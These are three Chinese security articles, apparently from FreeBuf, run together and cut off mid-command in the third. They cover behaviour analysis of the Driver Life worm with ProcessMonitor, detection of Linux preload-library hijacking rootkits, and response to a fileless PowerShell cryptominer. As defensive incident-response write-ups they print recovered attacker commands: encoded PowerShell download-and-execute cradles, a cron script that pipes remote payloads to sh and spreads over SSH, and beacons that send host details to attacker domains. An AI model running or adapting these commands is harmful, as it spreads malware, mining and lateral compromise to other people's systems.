一、背景

最近几年,伴随着数字货币的兴起,促进了经济利益驱动型黑客行为的暴增。各位做安服和应急的小伙伴不可避免的会与各种勒索病毒、挖矿病毒以及各种蠕虫病毒打交道,通过分析各大厂发的技术文章, 其主要使用逆向分析还原原始代码来了解病毒相关的功能与特征。

但是对于没有逆向分析基础的同学,看上去会很吃力,并且单纯了解了相关病毒的特征,过段时间又出现了新的变种,导致根据原先病毒的特征与功能无法进行彻底的查杀干净。那么有没有比较好的方法,可以在不逆向的基础下还原病毒的主要行为特征,从而根据这些特征来进行处置呢?在前期的不断学习与实践中,发现可以通过ProcesMonitor这款工具来进行病毒行为的分析,当然除了ProcessMonitor外还有火绒剑以及各种工具的组合也可以实现这种效果,但是ProcesMonitor的微软原生、不需要安装、占用性能低、功能齐全等特点决定其整体分析效果相比其他软件好很多。

二、专杀原理

目前各大杀软与EDR厂商以及个人研究者针对不同的病毒,如Ramnit、驱动人生、Sality、飞客蠕虫都在推出自己的专杀工具,那么有没有小伙伴想过病毒专杀工具的原理呢?其实仔细想想也不复杂,其专杀的核心逻辑如下所示:

1.  分析病毒的功能特征(文件行为、注册表行为、网络行为、进程操作等),这一块是专杀的核心要点,必须把病毒的行为分析透彻

2.  针对病毒的相应行为进行反制,如病毒在c:\windows\下创建了1.exe文件,专杀就是到c:\windows\下找到这个文件并删除(根据MD5判断是否是同一个文件)

说起来很简单,但是在真实的实战中,需要病毒专杀作者深入分析病毒的功能特征,并且完善相应代码来进行查杀。但是在真实的场景下存在各种问题导致专杀查杀不彻底,这个时候就需要根据其特征来进行手工清除。

三、核心功能

回归正题,我们来分析一下ProcessMonitor的主要功能:

注册表行为分析

文件行为分析

网络行为分析

进程行为分析

3.1 注册表行为分析

主要分析针对注册表的以下行为

打开注册表表项

创建注册表表项

创建注册表键值

设置注册表表项

设置注册表键值

删除注册表表项

删除注册表键值

查询注册表表项

查询注册表键值

枚举注册表表项

枚举键值

……

直接使用过滤注册表的行为,我们可以看到相关进程对注册表的操作行为。这个时候可以进行过滤,个人感觉过滤绝对是ProcessMonitor一个强大的功能。

过滤的可以针对具体的进程、操作方法、PID、结果等条件来进行单项或者组合过滤。

个人感觉在实战中用的比较多的针对注册表的操作行为有:

枚举注册表表项与键值

创建注册表表项与键值

设置键值

删除注册表表项与键值

修改注册表键值

……

我们直接过滤regsetvalue,可以看到过滤后的信息如下:

我们将其打开,可以看到其对注册表的相关操作。

另外,也可以通过RegShot这个工具来比较注册表的变化情况,其在病毒运行前和运行后可运行一次,通过对比病毒运行前后注册表的变化来分析病毒针对注册表的操作。

3.2 文件行为分析

主要的针对文件操作的行为有:

创建文件

删除文件

复制文件

锁定文件

隐蔽文件

读写文件

……

3.3 网络行为分析

这一块个人感觉功能相对较弱,只能看到TCP五元组信息与应用层交互的统计信息,无法看到详细交互的内容。这一块,虽然通过流量可以看到病毒程序所连接的对方的IP、端口以及部分统计信息,但是无法深入分析其交互的具体内容。个人还是建议使用wireshark或tshark来过滤网络的流量,这样后续可以深入分析原始的内容,以了解病毒程序主要的行为特征。

3.4 进程与线程行为分析

这一块是病毒分析的重点,需要深入分析与关注。一般情况下,病毒程序释放的时候会创建相应的进程、线程等。相应的进程、线程会进行不同的操作。一般情况下,各种挖矿病毒除了主流的挖矿功能外,还会加上蠕虫传播的特性,这样的话会释放不同的功能模板,如SMB爆破模板、永恒之蓝漏洞利用模板、RDP爆破模板等。这里面相关进程与线程的创建与其相关的特征通过进程与线程这个功能模板都可以进行深入的分析。

另外,ProcessMonitor还有一个比较好的功能特征,就是show process tree,以树结构的形式来显示相应的进程,这个功能非常直观友好,一图胜千言,直接上图:

四、病毒实战

4.1 概述

在这里面我们以前段时间比较流行的驱动人生病毒来分析其主要的功能特征,释放病毒时主要运行setup-install.exe和svchost.exe即可,相应的病毒样本如下所示:

为了验证通过使用ProcessMonitor分析病毒功能特征的完整性,我们找了吾爱破解上的一篇分析比较齐全的针对驱动人生的分析文章,相应链接如下:

https://www.52pojie.cn/thread-983519-1-1.html

运行setup-install.exe和svchost.exe病毒样本以后,使用ProcessMonitor捕捉的样本保存后,我们来进行分析:

4.2  进程分析

4.2.1   setup-install.exe功能分析

直接使用show processtree的功能,可以看到setup-install.exe的主要功能如下:

将其过滤以后,功能如下:

#查询与启动服务

sc  start Schedule

sc  query Schedule

netstart WebServers

#删除原有的WebServers并创建新的WebServers定时任务

start/b sc start Schedule&ping localhost&sc query Schedule|findstrRUNNING&&(schtasks /delete /TN WebServers /f&schtasks /create /rusystem /sc MINUTE /mo 50 /ST 07:00:00 /TN WebServers /tr “cmd.exe /cc:\windows\SysWOW64\wmiex.exe”&schtasks /run /TN WebServers)

#终止svhost.exe、svhhost.exe、svvhost.exe、wmiex.exe进程

taskkill/f /im svhost.exe /im svhhost.exe /im svvhost.exe & move /yc:\windows\temp\svvhost.exe c:\windows\temp\svchost.exe & delc:\windows\system32\svhhost.exe & del c:\windows\syswow64\svhhost.exe

taskkill/f /im wmiex.exe

#wmic删除相应的进程

wmic  process where “name=’svhost.exe’ orname=’svhhost.exe’ or name=’svvhost.exe’” delete

wmic  process where “ExecutablePath like’%drivers%’ and name=’taskmgr.exe’” delete

wmic  process where “ExecutablePath like’%drivers%’ and name=’svchost.exe’” delete

wmic  process where “ExecutablePath like’%emp%’ and name=’svchost.exe’” delete

#创建端口转发策略,将本机65531-65533端口转发到1.1.1.1的53端口

netshinterface ipv6 install&netsh firewall add portopening tcp 65532 UDP

netshinterface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1connectport=53

netshfirewall add portopening tcp 65531 UDP2

netshinterface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1connectport=53

netshfirewall add portopening tcp 65533 ShareService

4.2.2   svchost.exe功能分析

同样,使用showprocess tree功能,可以看出,svchost.exe的主要功能如下所示:

过滤相应的command,其执行的进程与命令如下所示:

#创建防火墙策略,阻断访问本地TCP 445

netuser&netsh advfirewall set allprofile state on&netsh advfirewallfirewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445

#创建名为DnsScan的定时任务,每一小时运行一次,主要运行C:\Windows\temp\svchost.exe文件

schtasks/create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr”C:\Windows\temp\svchost.exe” /F

#创建powershell定时任务,base64解码后,其脚本为IEX (New-ObjectNet.WebClient).downloadstring(‘http://v.beahh.com/v‘+$env:USERDOMAIN)

schtasks/create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn”\Microsoft\windows\Bluetooths” /tr “powershell -ep bypass -eSQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=”/F

#执行powershell加载m.ps1获取系统密码实现内网传染

C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe-exec bypass “import-module c:\windows\temp\m.ps1;Invoke-Cats -pwds”

#获取域名与用户

wmicntdomain get domainname

netuser

4.3 文件行为分析

Setup-install.exe创建ttt.exe文件,并设置隐藏属性

4.4 注册表行为分析

创建两个启动项

1.创建名为Ddriver启动项,加载c:\windows\SysWOW64\drivers\svchost.exe

2.创建名为WebServers的启动项,启动加载c:\windows\SysWOW64\wmiex.exe

4.5 网络行为分析

前面说过通过ProcessMonitor的网络行为分析,只能看到相应的五无组信息,无法分析到交互的数据包内容。通过分析,可以看到交互的部分连接五元组信息如下所示:

去重后,可以看到和以下域名进行通信

42.pl

72.52.179.174

li1176-20.members.linode.com

li1176-20.members.linode.com

mail411.us2.mcsv.net

看了一下,网络通信这一块还有好多地址没有抓到,可能和样本释放程度有关系。大家可以在虚拟机上运行一段时间,把样本全部释放以后再分析一下。

4.6  对比

将样本上传到微步中,相关链接如下:

https://s.threatbook.cn/report/file/bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc/?sign=history&env=win7_sp1_enx86_office2013

https://s.threatbook.cn/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d/?env=win7_sp1_enx86_office2013

借用微步的一张截图来分析其行为:

五、总结

通过上面的实战可以看出,在不熟悉逆向或者因为样本对抗导致难以逆向的时候使用ProcessMonitor可以快速的分析病毒的行为,在一定程度上提高了分析的效率与质量。其具有以下特点:

不需要专业的逆向与反汇编技能

上手快、效果好

……

但是以下下面情况无法使用或分析不全:

反虚拟机

反沙箱

 ……

总的来说,不是一款不错的病毒分析工具。

六、参考

https://www.52pojie.cn/thread-983519-1-1.html

https://s.threatbook.cn/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d/?env=win7_sp1_enx86_office2013

https://s.threatbook.cn/report/file/bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc/?sign=history&env=win7_sp1_enx86_office2013

样本

链接:https://pan.baidu.com/s/1fLaxstvUEDa8_r3eY4q38w

提取码:0evl

*本文作者:feiniao,转载请注明来自FreeBuf.COM

一、我与库文件劫持的前世今生

0×01 菜逼阶段

Linux库文件劫持这种案例在今年的9月份遇到过相应的案例,当时的情况是有台服务器不断向个可疑IP发包,尝试建立连接,后续使用杀软杀出木马,重启后该服务器还是不断的发包,使用netstat、lsof等常用系统命令无法查看到相应的PID。这样的话就无法定位到相应的进程,协助处理,怀疑中了rootkit,使用rkhunter进行查杀,未杀出rootkit。以为是内核的问题导致无法查看到相应进程的PID,就没有深入分析。

0×02 持续菜逼

没过多久,内部同事也扔过来这样一个问题。也是通过netstat无法查看到相应的PID,同事怀疑中了木马,但是使用rkhunter等工具未查出异常,以为情况和前期一样,也没有深入分析与研究。

0×03 深入学习与了解原理

大概过了一个月,内部同事也遇到相同的问题,协助处置,经过学习与分析,发现前期自己的思路完全错误了,以为是内核问题导致的netstat无法查看到PID,并且前期太依赖工具(rootkit)的查杀结果,其实是库文件劫持导致的情况。深入学习与分析后,便有了今天这篇文章。将在处置与分析过程中遇到的各种坑同步给经常做应急的小伙伴,防止后期连续踩坑。

二、库文件劫持原理

前期有大佬做个这个案例的分析,感兴趣的小伙伴可以学习一下,个人感觉总结的非常全面。

https://www.freebuf.com/column/162604.html

引用里面的一张图,Linux动态预加载的流程如下:

1.  应用程序在通过系统接口调用内核时会预先加载动态链接库, 即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载。

2.  这个库里面主要包括两个内容:LD_PRELOAD和/etc/ld.so.preload

3.  LD_PRELOAD用于预加载环境变量

4.  /etc/ld.so.preload用于预加载配置文件

5.  默认情况下LD_PRELOAD和/etc/ld.so.preload无配置

6.  动态编译:不论程序依赖不依赖动态链接库,都会加载LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载

7.  静态编译:不动态加载系统库文件,直接将程序所需要的各种文件全部集中到该软件平台中,这样就可以解决系统库文件被劫持,中了rootkit等导致连接、网络等被隐藏的情况,常用的工具如busybox

三、库文件劫持技术

前文可以看到Linux预加载的配置文件主要有两个:LD_PRELOAD和/etc/ld.so.preload,因此针对Linux的库文件劫持可以围绕这两个进行展开,目前主流的劫持技术主要有三种:

更改LD_PRELOAD环境变量,加载恶意库文件

 /etc/ld.so.preload加载恶意的库文件(主流的劫持技术)

 更改默认的库文件/etc/ld.so.preload为其他库文件

其中第二条是目前遇到的最多的,其主要是通过更改/etc/ld.so.preload来预加载其他恶意的库文件来实现对系统命令,如netstat、cat、top等进行劫持,从而到达隐藏进程、连接、性能等目的,这种也是rootkit典型的技术。

3.1LD_PRELOAD劫持

3.1.1   劫持实现

这种劫持实现相对较简单,可以通过以下方法来实现:

1.  LD_PRELOAD=/lib/f1c8d7.so

            将LD_PRELOAD的值设置为要预加载的动态链接库

2.  export LD_PRELOAD

           导出环境变量使该环境变量生效

3.一般情况下相关的库文件会被加上隐藏属性

3.1.2   如何检测

1.因为是通过更改环境变量实现的加载恶意库文件,因此可以直接查看环境变量,简单效果好,echo $LD_PRELOAD即可查看到是否存在劫持

2.根据Linux的预加载机制,相应的系统命令都会加载LD_PRELOAD环境变量指定的内容,因此可以通过strace来跟踪相应系统命令加载的库文件来分析,我们知道Linux预加载就两个LD_PRELOAD和/etc/ld.so.preload,下面可以看到对/bin/ls进行跟踪发现其打开了/lib/f1c8d7.so,同时提示没有

/etc/ld.so.preload这个文件,因此可以判断是通过环境变量实现劫持的。

3.2 /etc/ld.so.preload劫持

3.2.1   如何实现

这种劫持方式是目前遇到的最多的也是最主流的劫持方式,其主要是修改其配置,将其加载一个恶意的库文件来实现劫持。这里面可以使用github里面的工具来实现,详细可参考:

https://github.com/mempodippy/cub3

3.2.2   劫持分析

使用cat无法查看相应的内容;使用busybox可以看到相应的内容,说明存在库劫持。并且其类型是修改/etc/ld.so.preload内容,增加恶意库文件实现劫持。

3.2.3   cub3.so内容

使用strings查看cub3.so内容

3.2.4   调试跟踪

由于cat命令被劫持了,因此我们可以使用strace来追踪/bin/cat命令的加载情况,可以看到其访问/etc/ld.so.preload,并且打开了/lib/cub3.so这个库文件。

3.2.5   如何处置

去掉隐藏属性

chattr -ia/etc/ld.so.preload

rm -rf/etc/ld.so.preload /lib/cub3.so

3.3 修改动态链接器劫持分析

3.3.1   如何实现

正常情况下,相关的系统功能会默认调用/etc/ld.so.preload这个库文件,但是也存在这个默认库文件被修改的情况,所以我们需要分析相关系统命令默认调用的库文件来分析其是否被修改。

正常情况下,相关系统命令调用的默认库文件可以通过strace命令来追踪,其如下所示:

strace -f -e trace=file /bin/ls

可以看到,其默认调用的是/etc/ld.so.preload这个库文件:

下面我们来修改这个默认库文件实现劫持来分析:

劫持使用的脚本为:https://github.com/mempodippy/vlany

创建后门账号test1

3.3.2   功能分析

通过其官方说明里可以看到,其特征就是rootkit的典型特征,具有隐藏进程、用户、网络、后门等。

3.3.3   劫持分析

正常情况下,我们可以看到其默认加载的库为/etc/ld.so.preload

安装完相应的恶意程序以后,其默认库文件被修改为/bin/.Kv8Xqykz,这个时候相关的默认库被修改了

3.3.4   如何处置

1.直接随便写一个库文件到/etc/ld.so.preload中

2.然后再删除/etc/ld.so.preload就可以了

四、如何检测库文件劫持

前面我们看到针对Linux的库文件劫持,常用的方法就三种:

更改LD_PRELOAD环境变量,加载恶意库文件

/etc/ld.so.preload加载恶意的库文件(主流的劫持技术)

更改默认的库文件/etc/ld.so.preload为其他库文件

因此,检测这一块也是针对性的进行检测

4.1分析LD_PRELOAD环境变量

比较简单,直接echo$LD_PRELOAD即可查看是否存在针对环境变量的劫持行为。这里就不再赘述。

4.2 静态查看与动态查看对比检测

原理比较简单,就是使用系统命令与静态工具,如busybox执行的命令进行对比,如果结果一致,这里面就不存在劫持。如果不一致就可能存在劫持。一般情况下,这种针对库文件的劫持会针对所有的系统命令进行劫持,因此我们可以随便选择一个系统命令,通过执行系统命令与使用busybox静态执行的命令进行对比即可发现是否存在劫持,详细实现如下:

4.3 使用strace进行动态跟踪

strace可用来跟踪相应的库文件加载情况,这种方式是相对靠谱的方式。若担心strace这个命令被替换或被植入rootkit可以使用busybox来执行该命令。

4.3.1 分析LD_PRELOAD环境变量劫持

根据Linux的预加载机制,相应的系统命令都会加载LD_PRELOAD环境变量指定的内容,因此可以通过strace来跟踪相应系统命令加载的库文件来分析,我们知道Linux预加载就两个LD_PRELOAD和/etc/ld.so.preload,下面可以看到对/bin/ls进行跟踪发现其打开了/lib/f1c8d7.so,同时提示没有

/etc/ld.so.preload这个文件,因此可以判断是通过环境变量实现劫持的。

4.3.2 分析/etc/ld.so.preload库文件劫持

由于cat命令被劫持了,因此我们可以使用strace来追踪/bin/cat命令的加载情况,可以看到其访问/etc/ld.so.preload,并且打开了/lib/cub3.so这个库文件。

4.3.3 分析修改默认动态链接器来实现劫持

使用strace进行跟踪可以看到其默认库文件被修改为/bin/.Kv8Xqykz,这个时候相关的默认库被修改了

4.4 github脚本

Github上有大佬放了用来检测库文件劫持的脚本,相应的脚本地址如下:

https://github.com/mempodippy/detect_preload

五、遇到的Linux库文件劫持案例

5.1现象

5.1.1 定时任务

系统被植入定时任务,但是通过crontab–r无法删除

相应的C2地址为lsd.systemten.org,通过微步在线查看其已被标识为远控、挖矿木马。

相应的脚本如下:

exportPATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp

chmod 1777 /tmp

echo "*/10 * * * * (curl-fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c'import urllib;printurllib.urlopen(\"http://lsd.systemten.org\").read()')|sh"|crontab- cat > /etc/crontab <<EOF

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

*/10 * * * * root (curl -fsSL-m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c 'importurllib;printurllib.urlopen("http://lsd.systemten.org").read()'||/usr/local/sbin/638b6d9fb883b8)|sh

EOF

find /etc/cron*|xargs chattr -i

find /var/spool/cron*|xargschattr -i

grep -RE "(wget|curl)"/etc/cron*|grep -v systemten|cut -f 1 -d :| xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d :| xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64="https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg"

c32="https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg"

if [ ! -f"638b6d9fb883b8" ]; then

    ARCH=$(getconf LONG_BIT)

    if [ ${ARCH}x = "64x" ]; then

        (curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")') 

    else

        (curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

    fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

  for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"http://lsd.systemten.org\").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

    if test -d $file; then

        if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

            for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"http://lsd.systemten.org\").read()')|sh>/dev/null 2>&1 &" & done

        fi

    fi

done

#

5.1.2  本地文件

同时使用rm -rf命令也无法删除相应的文件

5.1.3  网络连接

通过分析网络连接,发现了和前期遇到相同的情况,看不到PID

5.1.4  性能分析

既然是挖矿其CPU肯定会被利用的非常多,但是我们使用TOP命令来看,其CPU利用率非常低,完全看不出有问题。

5.2分析

5.2.1  busybox分析

有了前面分析的基础,这个时候我们再去处置这个问题就相对简单了。Linux库文件劫持这块如果找不对方向处置的话会很头疼,明白了原理和手法以后再去分析就相对简单了。

直接上神器busybox,可以看到两个PID(104110和104025)占了98%以上的CPU

同时,使用busybox查看netstat可以看到前面没有看到的PID主要为104025。个人推测:PID为104110主要是用来进行挖矿的;104025主要是用来进行和矿池通信、分发任务等功能。

5.2.2  库文件劫持分析

直接使用buxybox查看,可以看到/etc/ld.so.preload加载了下面这个库文件/usr/local/lib/libEGID.so,这个库文件肯定是用来进行劫持使用的恶意库文件。

5.3 处置

上面可以看到该恶意程序的功能如下:

1.  库文件劫持

2.  创建定时任务

3.  禁止删除文件

4.  创建恶意进程

5.  网络外连

因此处置主要是根据上面的行为来进行针对性的处置,处置的前提是要收集好具体的恶意行为,如创建了哪些定时任务、生成了哪些恶意进程等。网上有人写了相应的脚本,我们在处置的时候可以参考相应的脚本,但是里面的进程可能不是脚本里面的进程、恶意的文件目录也可能不是脚本里面的,我们需要根据遇到的具体情况来进行更新与完善,相关的核心点如下:

5.3.1  删除定时任务

5.3.2  删除异常进程

5.3.3  修复动态库

5.3.4  修复启动项

5.4 总结

库文件劫持这种技术平时遇到的相对较少,但是在freebuf上搜了一下,从18年开始就流行了,平时如果没有这方面的积累,遇到以后还是难以处理。这篇文章相当于给大家扫盲,了解了其原理以后再去处置就会得心应手。

六、LOCs

6.1IP

121.237.8.28

121.237.8.29

121.237.8.31

121.237.8.33

121.237.8.35

121.237.8.36

121.237.8.38

121.237.8.41

121.237.8.42

121.237.8.47

121.237.8.48

121.237.8.50

6.2 域名

lsd.systemten.org

aliyun.one

6.3 MD5

6e734be6192fc688421641fee6b06c01

*本文原创作者:feiniao,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、概述

1.1 概述

前段时间遇到一起案例,主要是通过powershell进行挖矿的,使用该技术来进行挖矿的案例非常之多,但是个人感觉还是可以总结与分析一波,可以对这种技术进行详细分析以后讨论一下如何进行有效的监测与防护。

1.2 个人思路

通过最近遇到的几起应急事件,越来越感觉恶意样本分析在应急响应的过程中会越来越重要,特别是恶意样本的逆向分析,所以搞应急的兄弟们需要多注重样本分析这块。同时,样本解密这一块也需要做些了解,目前发现很多恶意样本都会进行加密来躲避杀软以及安全研究人员的分析。

另外,无文件攻击会综合使用系统的白名单功能,如powershell、PSExec,以及各种变形、加密、混淆、恶意文件放在远程服务器上,通过下载到内存中执行等方式来执行,导致其在防护这块还是存在很多技术难度。但是其在发生事件后的监测还是有很多方式的,如流量、日志、内存等方式来监测。通过无文件攻击这一块,本文会在事后监测这块做一些分享。

二、 应急响应案例

2.1 分析结论

1、此次攻击主要利用SMB匿名登录以及口令爆破利用病毒投放;

2、目前只捕捉到基于TCP 445的病毒投放动作,但是分析其攻击文件,里面还会有针对1433、3389以及65529的扫描行为,后续可能会利用相关端口进行横向渗透以及病毒投放行为;

3、挖矿病毒通过powershell驻留在内存中,通过CPU进行挖矿,会导致CPU占用100%。同时挖矿病毒在本地无落地文件,因此需要dump内存才能分析相关行为;

4、同时还会利用定时任务定时下载恶意文件来进行攻击行为;

5、内网大量机器开放445端口并且未打补丁,建议后期批量封堵445以及打补丁;

6、通过现有的日志,发现最早的攻击时间为2019年9月10日23:48分。

2.2 过程分析

2.2.1 现象确认

某用户,通过前线技术反馈可能存在powershell挖矿行为,通过前线技术兄弟协助,找到其中一台存在异常的服务器(192.168.0.8)进行分析,发现其CPU利用率为100%。

对CPU利用率进行排名,发现占用CPU比较高的都为powershell。

2.2.2Powershell分析

分析powershell这一块,可以使用processhacker、processmonitor、processexplorer、火绒剑等来分析,火绒剑界面相对友好,各种功能也很强大,缺点就是需要安装,并且经常很卡,个人喜欢使用ProcessHacker这个功能。

利用ProcessHacker分析Powershell的命令参数,相关的参数如下:

"C:\Windows\system32\cmd.exe"/c powershell -nop -w hidden -ep bypass -c"$ifp=$env:tmp+'\if.bin';if(test-path$ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'abcc20b2de0b18c895b94d2c23c0bc63'){$con=''}}if(!$con){$con=(New-ObjectNet.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-707K0JETN3J&GUID=4****544-0046-3710-8037-B7C04F344E32&MAC=D0:94:66:30:8B:7D&OS=6.3.9600&BIT=64位&USER=WIN-707K0JETN3J$&DOMAIN=WORKGROUP&D=&CD=MatroxG200eR (Renesas) WDDM1.2&P=1&FI=0&FM=1&IF=1&MF=1&HR=39.67,41.44,41.89&UP=405600.656&_T=1568219962.54539');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"

对上面的powershell参数与命令进行分析,相关参数含义如下:

-nop 不加载配置文件

-w hidden 隐藏执行命令窗口

-ep bypass 忽略执行策略文件

-c powershell 命令

主要的功能如下:

1.校验本地TMP目录下是否存在if.bin的文件,

2.并校验其MD5是否为abcc20b2de0b18c895b94d2c23c0bc63

3.若if.bin这个文件不存在,则从http://down.ackng.com/if.bin下载相应的文件,同时上传上传本机的相关信息(GUID、MAC地址、操作系统位数、机器名、工作组等信息)

对if.bin进行分析,发现其是powershell木马以及反弹后门。

2.2.3 If.bin样本分析

前面分析,可以了解到powershell的主要目的是为了下载if.bin这个文件,所以我们对if.bin进行分析,直接下载下来,分析相关文件进行了加密。

分析做加密方式,主要是通过base64和DeflateStream两种方式,需要对样本进行解密,相关解密方式可使用CyberChef来进行解密,使用方法可参考

https://www.freebuf.com/sectool/209290.html

对其进行解密还原,还原后的部分核心内容如下所示:

2.2.3.1 端口转发

开放65529端口,并将其转发到1.1.1.1的53端口,同时创建一个定时任务,每10分钟运行一次(个人猜测这个功能是攻击者从网上抄的,目前其实并未起到效果)

2.2.3.2 定时任务

创建定时任务,每60分钟运行一次,主要功能为通过http://t.zer2.com下载恶意文件,放到powershell中运行,同时还会上传本机信息(MAC、GUID、user,domain等)

2.2.3.3 SMB爆破

2.2.3.4 shellcode

2.2.3.5 MS17-010漏洞传播

2.2.3.6 获取系统信息

获取用户信息、DumpHash、获取UserHashes、获取启动项目等

2.2.3.7 端口扫描

可以看出,对恶意样本的分析还需要对样本进行代码级别的分析,这样可以还原样本的所有功能,如果我们通过网络流量、日志等其他方式来进行分析的话,一方面可能因为样本的执行需要满足一定条件才会触发,另一方面样本的功能我们通过日志和流量只能采集到部分功能。

2.2.4 内存分析

我们知道,powershell相关的行为都是驻留在内存中,在本地无落地文件,因此我们直接使用ProcessHacker来dump了Powershell的内存数据进行分析。

使用Notepad++打开内存数据,过滤其中内容,可以看到其正在执行上述powershell命令:

内存里主要从http://down.ackng.com/if.bin下载bin文件,相应的文件主要功能参考2.2.3的分析。

2.2.5 定时任务分析

一般情况下,powershell利用定时任务来进行传播,因此对定时任务分析,对192.168.0.8的定时任务分析,其定时任务如下:

可以看到该定时任务开始时间为2019年9月10日20:35分,这个时间也就是挖矿病毒感染那段时间前后,同时该定时任务每1小时执行一次。

同时,定时任务主要是执行powershell,其执行的命令如下:

cmd /c "setA=power& call %A%shell -ep bypass -eJABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBEAFoAWABIAFEAegBxAGoAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0A**AegBlAHIAMgAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AaQBwAGMAXwAyADAAMQA5ADAAOQAxADAAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtA**ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApA**ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfA****ABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3